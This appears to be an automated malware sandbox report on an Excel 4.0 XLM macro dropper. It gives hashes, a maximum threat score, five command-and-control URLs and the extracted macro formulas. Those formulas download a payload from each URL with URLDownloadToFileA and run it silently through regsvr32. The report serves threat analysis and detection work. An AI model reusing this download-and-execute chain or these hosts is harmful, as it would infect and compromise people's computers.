7ffe084c0cdaccd1e790429719816617dfc349bac760c33234340c030e08c14f

General

Target

7ffe084c0cdaccd1e790429719816617dfc349bac760c33234340c030e08c14f
Size

95KB
Sample

241120-135vrsyqbn
MD5

59c27c4aee530fd287c08a9914f6cb3e
SHA1

955dc2555fb07666981489885b912b722ec1bfea
SHA256

7ffe084c0cdaccd1e790429719816617dfc349bac760c33234340c030e08c14f
SHA512

5dac2db23e8bd49caf0da028ad95292648c5fa4162ca891d4f450b5ef6048213f3483bcda593ffc9a6f6fb9a6df9d5589ab0eb0546ef74beca3de8e9888100a3
SSDEEP

1536:8zCwXW5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVd1:8eWHDsVhonV69o2bchgGaWBcpAS1

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://thejobinassam.com/OLD/3r8/

https://ishigamitoshio.com/cgi-bin/tiL/

https://secsystembr.000webhostapp.com/wp-admin/ylfPOuPRX7skNx/

https://fraudaware.org.uk/wp-admin/UPeayYdSM/

https://angelstorehd.com/wp-includes/LBp6MO3/

Attributes

formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thejobinassam.com/OLD/3r8/","..\wo1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ishigamitoshio.com/cgi-bin/tiL/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://secsystembr.000webhostapp.com/wp-admin/ylfPOuPRX7skNx/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://fraudaware.org.uk/wp-admin/UPeayYdSM/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://angelstorehd.com/wp-includes/LBp6MO3/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\wo1.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://thejobinassam.com/OLD/3r8/

xlm40.dropper

https://ishigamitoshio.com/cgi-bin/tiL/

xlm40.dropper

https://secsystembr.000webhostapp.com/wp-admin/ylfPOuPRX7skNx/

xlm40.dropper

https://fraudaware.org.uk/wp-admin/UPeayYdSM/

xlm40.dropper

https://angelstorehd.com/wp-includes/LBp6MO3/